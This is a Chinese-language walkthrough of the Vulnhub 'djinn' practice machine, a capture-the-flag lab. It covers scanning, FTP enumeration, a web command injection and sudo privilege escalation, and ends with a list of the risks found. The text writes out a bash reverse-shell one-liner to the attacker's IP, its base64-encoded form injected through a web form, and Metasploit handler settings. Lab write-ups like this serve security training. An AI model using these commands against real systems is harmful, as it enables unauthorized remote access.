Vulnhub:djinn

2022-01-04 本文已影响0人 ink247

一、前言

通过大量vulnhub受控靶机积累一线攻防经验和技巧。

二、环境

靶机名称：djinn

靶机难度：初学者/中级

目标：有两个flag，user.txt and root.txt

攻击机：kali linux，IP地址192.168.101.72

靶机：os-bytesec，IP地址192.168.101.156

三、挑战过程

图一

1.扫描IP提供的IT服务——

nmap -v -A -sV -T4 -p 1-65535 192.168.101.156

图二

ftp服务探索

图三

貌似是一些登录凭据

图四

可能有机会拿反弹shell

图五

web目录爆破

图六

图七

根据文章提示，wish这里有命令注入点

补充图

监听准备——

msfconsole

use exploit/multi/handler

set payload cmd/unix/reverse_bash

set lhost 192.168.101.72

set lport 4444

exploit

图八

准备个反弹shell命令——

bash -i >& /dev/tcp/192.168.101.72/4444 0>&1

转成base64编码——

YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEwMS43Mi80NDQ0IDA+JjE=

图九

在页面输入框中提交——

echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEwMS43Mi80NDQ0IDA+JjE= | base64 -d | bash

拿到反弹shell，不是root，需要提权，先转成交互式shell——

python -c 'import pty; pty.spawn("/bin/bash")'

在/home/nitish/.dev下发现用户名密码文件

图十

获取user.txt flag

图十一

sudo提权-因管理员配置不当

图十二

获取root flag

图十三

四、总结

风险点：

1.ftp未授权访问

2.web os命令注入点

3.明文密码存储服务器

4.sudo权限配置滥用

五、疑问点

1.【high】web OS命令注入点如何判断？已解决【20220106】，看漏了，用burp看能更精准把握细节，确实是命令注入。

2.【median】num的猜解太随意，应该是写个脚本自动化爆破尝试

参考链接

1.http://www.hackdig.com/04/hack-314667.htm